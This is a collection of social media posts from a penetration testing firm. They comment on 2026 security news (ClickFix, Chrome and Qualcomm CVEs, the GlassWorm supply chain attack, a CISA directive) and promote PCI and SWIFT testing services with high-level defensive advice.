BXAR Inc.

ReliaQuest published research this month on a technique called ClickFix that's worth understanding, especially if your organization's security awareness training is focused primarily on traditional phishing. Instead of sending a malicious link or attachment, ClickFix tricks users into manually running commands - typically by presenting a fake error message that instructs them to open a terminal and paste a "fix." The user effectively becomes the execution environment, bypassing email filters, endpoint protection, and sandboxing in a single step because the commands are initiated by a trusted user action. What's notable about this from an offensive perspective is how it sidesteps the technical controls that most organizations have invested heavily in. Email security gateways are tuned to catch malicious attachments and suspicious URLs, and EDR tools are designed to detect unusual process execution chains. But when a user willingly opens PowerShell and pastes a command, the resulting activity looks like legitimate administrative behavior - at least initially. The defense here is less about technology and more about building a culture where users understand that no legitimate service will ever ask them to run commands in a terminal. It's also worth reviewing whether your organization's endpoint policies restrict access to command-line interfaces for users who don't need them - not every employee needs the ability to open PowerShell, and removing that access eliminates this particular attack path entirely. #cybersecurity #socialengineering #offensivesecurity #ransomware #threatintel #BXAR

Google's March Android security bulletin patched 129 vulnerabilities, including CVE-2026-21385 - an actively exploited integer overflow in Qualcomm's display and graphics component affecting 234 distinct chipsets. This is worth discussing because it highlights a gap that most enterprise security programs haven't fully addressed: firmware-layer vulnerability management on mobile devices. Enterprise mobile device management has traditionally focused on software-level controls - MDM profiles, app restrictions, conditional access policies. Those are all valuable, but a vulnerability at the chipset level bypasses most of them entirely because it operates below the layer where software controls can intervene. For organizations with BYOD programs that allow personal devices to access corporate email, cloud applications, or VPN connections, this creates an exposure that's difficult to manage with existing tooling. The honest answer is that there's no perfect solution for firmware-level mobile vulnerabilities in a BYOD environment, but there are meaningful steps that reduce risk. Enforcing aggressive patch SLAs for devices that access corporate resources - requiring that devices be within one security patch level of current - is the most impactful control. For particularly sensitive environments, maintaining a list of approved device models and chipsets can help limit exposure to hardware-level vulnerabilities. And for any mobile device that touches sensitive data, the question of whether BYOD is still the right model is worth revisiting periodically as the mobile threat landscape matures. #cybersecurity #mobilesecurity #offensivesecurity #BYOD #vulnerabilitymanagement #BXAR

PCI DSS remains one of the clearest examples of a framework that does not leave penetration testing to imagination. PCI guidance states that the scope of a penetration test includes the entire 𝐜𝐚𝐫𝐝𝐡𝐨𝐥𝐝𝐞𝐫 𝐝𝐚𝐭𝐚 𝐞𝐧𝐯𝐢𝐫𝐨𝐧𝐦𝐞𝐧𝐭 𝐩𝐞𝐫𝐢𝐦𝐞𝐭𝐞𝐫 and any critical systems, covering both the external and internal perimeter. PCI guidance also distinguishes penetration testing from vulnerability assessment in plain terms: one identifies weaknesses, the other attempts exploitation to determine whether unauthorized access or malicious activity is actually possible. That is where many environments get exposed in the least glamorous way possible. Not through a zero-day. Through a bad scope. Through weak internal segmentation. Through assumptions that “out of scope” is a legal spell instead of something that must be technically validated. PCI’s own guidance is explicit that penetration testing is used to validate segmentation controls. At BXAR Inc., PCI testing is not treated as an annual exercise in report generation. We focus on whether the cardholder data environment is genuinely isolated, whether attack paths exist from adjacent networks and supporting systems, and whether exploitable weaknesses allow an attacker to move from theory into access. That is the testing posture organizations need when the cost of getting scope wrong is measured in both risk and audit pain. A mature PCI program is not just about proving that scans ran on schedule. It is about proving that segmentation holds, critical paths are defensible, and exploitable weaknesses are identified before an assessor or an adversary does it for you. That is the BXAR view of PCI: 𝐞𝐯𝐢𝐝𝐞𝐧𝐜𝐞 𝐛𝐞𝐟𝐨𝐫𝐞 𝐚𝐬𝐬𝐮𝐦𝐩𝐭𝐢𝐨𝐧𝐬. #PCIDSS #PenetrationTesting #CardholderData #SegmentationTesting #RedTeam #OffensiveSecurity #Compliance #BXAR

The White House's Cyber Strategy for America was released earlier this month, and while the policy implications will take time to unfold, there's a practical shift in emphasis worth noting for anyone involved in security operations. Compared to the 2023 strategy, the 2026 approach moves away from prescriptive compliance baselines and toward measurable outcomes, resilience, and recoverability - framing cybersecurity less as "prevent all breaches" and more as "withstand and recover from the ones that happen." This aligns closely with what we observe in our assessment work. Organizations that invest heavily in prevention but haven't tested their detection and recovery capabilities tend to be the most disrupted when something does get through, because the entire security model is built around the assumption that the perimeter holds. When we conduct red team engagements, some of the most valuable findings aren't about how we got in, but about how long we were able to operate before anyone noticed, and how prepared the organization was to contain and recover once the activity was detected. If your organization's security program is still primarily structured around prevention, the strategy's emphasis on resilience is a useful prompt to ask whether your detection and response capabilities have been tested under realistic conditions. Tabletop exercises are a start, but they don't reveal the same gaps that a hands-on adversary simulation does. #cybersecurity #cyberstrategy #resilience #offensivesecurity #riskmanagement #BXAR

Google patched two actively exploited Chrome zero-days this month - CVE-2026-3909 in the Skia graphics library and CVE-2026-3910 in V8 - which is a good opportunity to talk about why browsers remain such a consistently attractive target. The browser sits in a uniquely privileged position: it processes untrusted content from the entire internet, it has access to credentials and session tokens for every web application the user interacts with, and it often runs with permissions that extend into the local filesystem and corporate network. From an offensive security perspective, browser vulnerabilities are interesting because they often enable attacks that bypass network-level controls entirely. A user visiting a compromised or malicious page can be exploited regardless of how well-segmented the internal network is, because the browser is already inside the trust boundary. This is why browser-based initial access remains a focus area for sophisticated threat actors, and why we include browser configuration review in our assessment methodology. For defenders, the most impactful controls here are timely patching (Chrome's automatic updates help, but enterprise environments sometimes lag due to compatibility testing), browser isolation for high-risk users or activities, and limiting what extensions can run in the browser environment. That last point is especially relevant given the recent disclosure of a high-severity vulnerability in Chrome's Gemini panel that allowed extensions to inherit its elevated capabilities. #cybersecurity #offensivesecurity #browsersecurity #zeroday #pentesting #BXAR

CISA's Emergency Directive 26-03, requiring federal agencies to patch and inventory Cisco Catalyst SD-WAN systems affected by CVE-2026-20127 (a CVSS 10.0 authentication bypass), deserves attention beyond the federal space. The vulnerability has reportedly been exploited since at least 2023, which means the window of potential compromise is measured in years, not days. SD-WAN is interesting from an offensive security standpoint because it sits at the intersection of network segmentation, branch connectivity, and cloud access. Organizations that adopted SD-WAN as part of a SASE or zero-trust transformation may have inadvertently centralized their attack surface - a single compromised SD-WAN controller can provide an attacker with functionally unlimited access to distributed enterprise environments, and that access follows the same trusted pathways that legitimate traffic uses. The practical takeaway goes beyond patching this specific vulnerability. If your organization deployed SD-WAN, it's worth asking whether the management plane is adequately segmented, whether access to configuration interfaces is restricted to known administrative endpoints, and whether you have visibility into who has been authenticating to those systems. Network infrastructure management interfaces are consistently undermonitored relative to their strategic value, and we see this pattern across many of the environments we assess. #cybersecurity #offensivesecurity #networking #zerotrust #pentesting #BXAR

The GlassWorm campaign that came to light this month is a useful case study in how supply chain attacks are evolving. Rather than targeting a single high-profile package, the attackers used stolen GitHub tokens to inject obfuscated code across hundreds of Python repositories - Django apps, ML research projects, Streamlit dashboards, and PyPI packages - by rebasing commits and force-pushing changes while preserving the original commit metadata so nothing looked out of place at a glance. What makes this approach worth paying attention to is the subtlety. The injections were appended to files like setup.py and main.py, which means anyone running pip install from a compromised repo would trigger the payload without any obvious change in behavior during installation. From an offensive perspective, this mirrors the kind of trust exploitation we think about during security assessments: the attacker isn't breaking in through the front door, they're altering something the target already trusts. For organizations that rely on open-source Python dependencies - and that's most organizations at this point - this is a good prompt to review how you vet upstream changes. Pinning dependency versions, using hash verification, and monitoring for unexpected repository activity (especially force-pushes and commit rewrites on established projects) are practical steps that meaningfully reduce exposure to this class of attack. #cybersecurity #supplychainsecurity #offensivesecurity #devsecops #python #BXAR

Microsoft's March 2026 Patch Tuesday addressed 82 CVEs, including eight rated Critical. Among them, the VMware Aria Operations command injection vulnerability (CVE-2026-22719) stands out - not because of its CVSS score, but because of what it represents about how organizations prioritize patching. Management and observability platforms like Aria, vCenter, SIEM consoles, and backup managers are consistently under-patched relative to production infrastructure because they're treated as internal tooling rather than critical attack surface. In our assessment work, these management plane systems are among the first things we look for after establishing initial access, precisely because they tend to hold credential stores, configuration baselines, and monitoring pipelines that give an attacker comprehensive visibility into the entire environment. Compromising a management console often provides more operational value than compromising a production server, because it reveals the organization's defensive posture and provides persistence without touching any system that's actively monitored as a production asset. The practical recommendation is straightforward: management plane systems should be patched on the same priority schedule as internet-facing infrastructure, not deferred because they're "internal only." They should also be segmented from general user networks and monitored for anomalous authentication. If you're unsure how exposed your management infrastructure is, an internal penetration test that specifically includes these systems in scope can provide a clear picture. #cybersecurity #patchmanagement #offensivesecurity #pentesting #vulnerabilitymanagement #BXAR

After years of conducting security assessments across organizations of varying sizes and maturity levels, one observation that holds consistently is that the organizations with the strongest security postures aren't necessarily the ones with the biggest budgets or the most advanced tooling - they're the ones that have built security into a repeatable, continuous process rather than treating it as a periodic event. What this looks like in practice is less dramatic than it sounds. It means conducting vulnerability scans on a regular cadence rather than only before an audit. It means reviewing access controls when roles change, not just when an assessment finding forces the issue. It means keeping an up-to-date asset inventory and attack surface map, and actually using it as a living document rather than a compliance artifact. And it means testing your defenses through realistic offensive assessments at a frequency that matches how quickly your environment changes - because if you deployed a new application or migrated a service six months ago, your last pentest may not reflect your current exposure. The organizations that approach security this way tend to have shorter finding lists in their assessment reports, faster remediation timelines, and - most importantly - a much clearer understanding of their own risk posture. Security doesn't have to feel overwhelming if it's structured as a continuous, manageable process rather than a crisis response discipline. And that might be the most valuable insight we can share from the attacker's side of the engagement. #cybersecurity #offensivesecurity #securitystrategy #CISO #infosec #BXAR

In the SWIFT ecosystem, penetration testing is not a vague recommendation buried in somebody’s slide deck. The Customer Security Controls Framework explicitly includes Control 7.3A Penetration Testing, and the framework treats security of the local SWIFT environment as a concrete control obligation, not a decorative aspiration. That distinction matters. Too many organizations run broad enterprise testing and assume the SWIFT-connected environment is somehow covered by proximity, osmosis, or corporate optimism. It is not. The control expectation is tied to the systems and trust boundaries that support SWIFT operations. At BXAR Inc., we approach SWIFT-related testing with the mindset that secure messaging infrastructure deserves focused validation. That means testing the application, host, network, administrative pathways, segmentation boundaries, and operator-adjacent exposure that could affect the secure zone. It also means producing evidence that is useful to security leadership, audit, and control owners rather than dumping a bag of scanner crumbs on the table. For institutions subject to SWIFT CSCF, a checkbox pentest is a weak answer to a control that exists because transaction-adjacent systems are high-value targets. The right engagement is targeted, disciplined, and scoped to how compromise would actually occur. Control language is one thing. Control assurance is another. BXAR is built for the second one. #SWIFT #CSCF #FinancialSecurity #PenetrationTesting #CyberResilience #BankingSecurity #OffensiveSecurity #BXAR